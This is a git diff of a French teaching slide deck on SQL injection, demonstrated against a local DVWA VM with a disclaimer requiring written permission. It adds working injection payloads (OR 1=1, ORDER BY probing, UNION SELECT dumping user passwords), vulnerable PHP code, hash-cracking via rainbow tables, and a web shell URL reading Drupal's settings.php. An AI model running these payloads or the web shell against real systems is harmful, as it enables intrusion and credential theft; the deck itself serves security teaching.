diff --git a/content/slides/1337/images/sidoine/SQLi-1.png b/content/slides/1337/images/sidoine/SQLi-1.png
index 9f528b4d7c93260b05810e11918ce022cbc67184..6d06ad7c9ea1f62e18c8fadc18410c94e967a266 100644
Binary files a/content/slides/1337/images/sidoine/SQLi-1.png and b/content/slides/1337/images/sidoine/SQLi-1.png differ
diff --git a/content/slides/1337/images/sidoine/SQLi-2-http.png b/content/slides/1337/images/sidoine/SQLi-2-http.png
new file mode 100644
index 0000000000000000000000000000000000000000..e756d5497a34146d924e450ae379bd49ba3ce20f
Binary files /dev/null and b/content/slides/1337/images/sidoine/SQLi-2-http.png differ
diff --git a/content/slides/1337/images/sidoine/SQLi-db-clear-question.png b/content/slides/1337/images/sidoine/SQLi-db-clear-question.png
new file mode 100644
index 0000000000000000000000000000000000000000..733202c256c7af20e1e672be2dcc4bf9593240cf
Binary files /dev/null and b/content/slides/1337/images/sidoine/SQLi-db-clear-question.png differ
diff --git a/content/slides/1337/images/sidoine/SQLi-db-hash.png b/content/slides/1337/images/sidoine/SQLi-db-hash.png
index 1701f50fa3f02166345d639a507f3093793f130c..75624bb8025a6e044db683d8404b00ef3444ce01 100644
Binary files a/content/slides/1337/images/sidoine/SQLi-db-hash.png and b/content/slides/1337/images/sidoine/SQLi-db-hash.png differ
diff --git a/content/slides/1337/md/sidoine.md b/content/slides/1337/md/sidoine.md
index 0934328916768b7b53d73d07c4e846c7a2fac792..fa065d50428a43181f96f09c68d92affdd134273 100644
--- a/content/slides/1337/md/sidoine.md
+++ b/content/slides/1337/md/sidoine.md
@@ -1,13 +1,20 @@
-# Sécurité des applications web
+# SQLi
+
+## Aka injections SQL
 
 
 ## Disclaimer
-*Cette présentation explique comment marche les failles.
-Toutes les attaques sont réalisées sur des VMs en local.
-Il est vivement déconseillé de reproduire ces attaques 
-sur une cible distante, sans la permission explicite 
+*Cette présentation explique comment fonctionne l'exploiter 
+des services vulnérables aux injections SQL.*
+
+*Toutes les attaques sont réalisées sur des VMs en local.*
+
+*Il est vivement déconseillé de reproduire ces attaques 
+sur une cible distante, sans la permission explicite (c'est à dire écrite et signée)
 de l'administrateur de cette cible!*
 
+*Selon la cible: **Vous risquez gros**!*
+
 
 ## monsite.com
 
@@ -34,7 +41,12 @@ Note:
   - différence = utilisateur ou mot de passe invalide
 
 
-## https
+## http = carte postale
+
+![SQLi](images/sidoine/SQLi-2-http.png "SQLi")
+
+
+## https = enveloppe cachetée
 
 ![SQLi](images/sidoine/SQLi-2-https.png "SQLi")
 
@@ -43,100 +55,124 @@ Note:
   - il est très facile de transformer sa carte wifi en écouteur de paquet du réseau local https://www.aircrack-ng.org/
 
 
-## sqli
+## ???
 
-![SQLi](images/sidoine/SQLi-db-clear.png "SQLi")
+![SQLi](images/sidoine/SQLi-db-clear-question.png "SQLi")
 
 Note:
 - Lors du stockage du mot de passe
   - Pourquoi? 
     - Le mot de passe n'est jamais affiché et voilà
 
-## Bonne pratique 
-
-### stocker les mots de passe hashés
-
-[Facebook a stocké des millions de mots de passe en clair : ce que vous risquez, ce qu’il faut faire](https://www.numerama.com/tech/473877-facebook-a-stocke-des-millions-de-mots-de-passe-en-clair-ce-que-vous-risquez-ce-quil-faut-faire.html)
-
 
 ## sqli
 
-![SQLi](images/sidoine/SQLi-db-hash.png "SQLi")
+![SQLi](images/sidoine/SQLi-db-clear.png "SQLi")
 
 Note:
-- Mot de passe hashé
+- Lors du stockage du mot de passe
+  - Pourquoi? 
+    - Le mot de passe n'est jamais affiché et voilà
 
 
-## hashage
+## SQLi
 
-* <strike>SHA256(passeenclair) 
-  * =>  5452409edd9626898129c983ec443748</strike>
-* SHA256(passeenclair) 
-  * => 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4
-* SHA256(admin) 
-  * => 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918
+* faille n°1 dans le [top 10 owasp](https://www.owasp.org/index.php/Top_10-2017_Top_10) 
+    * depuis plusieurs années
+    * concerne tous les interpréteurs
+    * concerne tous les langages
+* permet de
+    * lire des données protégées
+    * corrompre des données
+    * dénis de services
+    * lecture / écriture sur le système de fichiers
+    * exécution de commandes arbitraires
 
 
-## Rainbow tables
+## SQLi
 
-### [https://crackstation.net/](https://crackstation.net/)
+```
+http://dv.wa/vulnerabilities/sqli/
+```
 
-* Hashs précalculés de valeurs communes
+Tout commence par un message d'erreur anodin si on saisit les caractère `'` au lieu de l'entier attendu
 
-* 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918 
-  * => admin
+```
+You have an error in your SQL syntax; check the manual 
+that corresponds to your MySQL server version 
+for the right syntax to use near ''''' at line 1
+```
 
-* 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4
-  * => ????
+### intéressant!?<!-- .element class="fragment roll-in" -->
 
 
-## Bonne pratique
+```
+$id = $_GET['id'];
+$getid = "SELECT first_name, last_name 
+          FROM users WHERE user_id = '$id'";
+$result = mysql_query($getid) or die(mysql_error());
+$num = mysql_numrows($result);
+$i = 0;
+while ($i < $num) {
+    $first = mysql_result($result,$i,"first_name");
+    $last = mysql_result($result,$i,"last_name"); 
+    echo '<pre>';
+    echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
+    echo '</pre>';
+    $i++;
+} 
+```
+le serveur exécute donc la requête
+```
+SELECT first_name, last_name FROM users WHERE user_id = '''
+```
+et renvoie une erreur! chaîne de caractère non terminée ...
 
-### Introduire des validations sur la robustesse du mot de passe.
 
-* minuscule + majuscule + caractères spéciaux + numériques
-* longueur minimum (passphrase)
+## SQLi / détournement
 
-### Ajouter un sel
+en suivant la logique 
 
-* SHA256(admin+selsupercompliqué) 
+```
+SELECT first_name, last_name 
+FROM users WHERE user_id = '' OR 1=1
+```
 
+devrait afficher la liste de tous les utilisateurs ...
 
-## SQLi
+essayons de saisir la valeur `' OR 1=1` au lieu de l'entier attendu
 
-* aka injection SQL
-* faille n°1 dans le [top 10 owasp](https://www.owasp.org/index.php/Top_10-2017_Top_10) depuis plusieurs années
-* que peut on faire avec une SQLi?
-    * lire des données protégées
-    * corrompre des données
-    * dénis de services
-    * lecture / écriture sur le système de fichiers
-    * exécution de commandes arbitraires
+#### toujours la même erreur!<!-- .element class="fragment roll-in" -->
+### Pourquoi?<!-- .element class="fragment roll-in" -->
 
 
-## SQLi
+## SQLi / détournement
+
+la requête exécutée est en fait
 
 ```
-http://dv.wa/vulnerabilities/sqli/
+SELECT first_name, last_name 
+FROM users WHERE user_id = '' OR 1=1'
 ```
 
-Tout commence par un message d'erreur anodin
+elle présente encore une erreur de chaîne de caractère non terminée!
 
-```
-http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit#
-```
+### Comment faire?<!-- .element class="fragment roll-in" -->
 
-```
-You have an error in your SQL syntax; check the manual 
-that corresponds to your MySQL server version 
-for the right syntax to use near ''''' at line 1
-```
+#### essayons avec le symbole de commentaire en ligne #<!-- .element class="fragment roll-in" -->
 
-### intéressant!?<!-- .element class="fragment roll-in" -->
+
+## SQLi / détournement
+
+on saisit maintenant la valeur `' OR 1=1#` au lieu de l'entier attendu
+
+## Ca marche :D<!-- .element class="fragment roll-in" -->
 
 
 ## SQLi / détournement
 
+Notez qu'on peut travailler directement sur l'url (industrialisation)
+
 ```
 http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit
 ```
@@ -147,13 +183,12 @@ soit en version encodée
 http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit
 ```
 
-### encore mieux<!-- .element class="fragment roll-in" -->
-### mais!<!-- .element class="fragment roll-in" -->
-#### on affiche toujours pas les mot de passe car on a pas la main sur la clause select<!-- .element class="fragment roll-in" -->
-### des idées?<!-- .element class="fragment roll-in" -->
+#### peut on atteindre les mots de passe?<!-- .element class="fragment roll-in" --> 
+#### probablement dans la même table ...<!-- .element class="fragment roll-in" -->
+#### mais comment? on a pas la main sur la clause SELECT de la requête ...<!-- .element class="fragment roll-in" -->
 
 
-## Say hello to UNION
+## Say hello to UNION!
 
 ```
 SELECT column_name(s) FROM table1
@@ -163,41 +198,73 @@ SELECT column_name(s) FROM table2;
 
 ![Union](images/sidoine/sql-union.png "Union")
 
-### Les clauses select doivent avoir le même nombre d'éléments!?<!-- .element class="fragment roll-in" -->
-
+### Les clauses select doivent avoir le même nombre de champs!?<!-- .element class="fragment roll-in" -->
 
-## déduire le nombre de champs
 
-### intuition?
-### jouer avec order BY
+## comment deviner le nombre de champs d'une requête SQL?
 
-```
-http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit
-```
 
-soit une fois les paramètres encodés
+## jouer avec order BY
 
 ```
-http://dv.wa/vulnerabilities/sqli/?id=%27%20OR%201%3D1%20ORDER%20BY%202%23&Submit=Submit
+' OR 1=1 ORDER BY 2#
 ```
 
+* si l'index correspond à un champs de la clause SELECT
+    * la requête s'exécute
+* si l'index ne correspond pas à un champs de la clause SELECT
+    * la requête échoue
+
 
 ## Affichage des mots de passe
 
 ```
-http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT user, password FROM users#&Submit=Submit
+' AND 1=0 UNION SELECT user, password FROM users#
 ```
 
-soit une fois les paramètres encodés
+Les mots de passe sont hashés<!-- .element class="fragment roll-in" -->
 
-```
-http://dv.wa/vulnerabilities/sqli/?id=%27%20AND%201%3D0%20UNION%20SELECT%20user%2C%20password%20FROM%20users%23&Submit=Submit
-```
+* SHA256(passeenclair) <!-- .element class="fragment roll-in" -->
+  * 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4<!-- .element class="fragment roll-in" -->
+* SHA256(admin) <!-- .element class="fragment roll-in" -->
+  * 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918<!-- .element class="fragment roll-in" -->
+* MD5(passeenclair) (cassé!)<!-- .element class="fragment roll-in" -->
+  * 5452409edd9626898129c983ec443748<!-- .element class="fragment roll-in" -->
+
+
+## sqli
+
+![SQLi](images/sidoine/SQLi-db-hash.png "SQLi")
+
+Note:
+- Mot de passe hashé
+
+
+## Rainbow tables
+
+### [https://crackstation.net/](https://crackstation.net/)
+
+* Hashs précalculés de mots de passe *communs*
+
+* 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918 
+  * sha256 - admin
+
+* 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4
+  * ????
+
+
+## Bonnes pratiques
+
+* stocker les mots de passe hashés<!-- .element class="fragment roll-in" -->
+
+    * <!-- .element class="fragment roll-in" -->[Facebook a stocké des millions de mots de passe en clair : ce que vous risquez, ce qu’il faut faire](https://www.numerama.com/tech/473877-facebook-a-stocke-des-millions-de-mots-de-passe-en-clair-ce-que-vous-risquez-ce-quil-faut-faire.html)
+
+* valider la robustesse des mot de passe utilisateur<!-- .element class="fragment roll-in" -->
+    * minuscule + majuscule + spéciaux + numériques<!-- .element class="fragment roll-in" -->
+    * longueur minimum (passphrase)<!-- .element class="fragment roll-in" -->
 
-* Mot de passe hashé
-* [https://crackstation.net/](https://crackstation.net/)
-  * 5f4dcc3b5aa765d61d8327deb882cf99
-    * => md5 - password
+* ajouter un sel<!-- .element class="fragment roll-in" -->
+    * SHA256(admin+selsupercompliqué)<!-- .element class="fragment roll-in" -->
 
 
 ## SQLi de la vraie vie (2014)
@@ -397,7 +464,7 @@ $ php attack/exploit.php 'http://drup.al'
 
 * [http://drup.al/sites/default/files/backdoor.php](http://drup.al.com/sites/default/files/backdoor.php)
   * affiche phpinfo()
-* [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php)
+* [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php)
   * affiche les paramètres SQL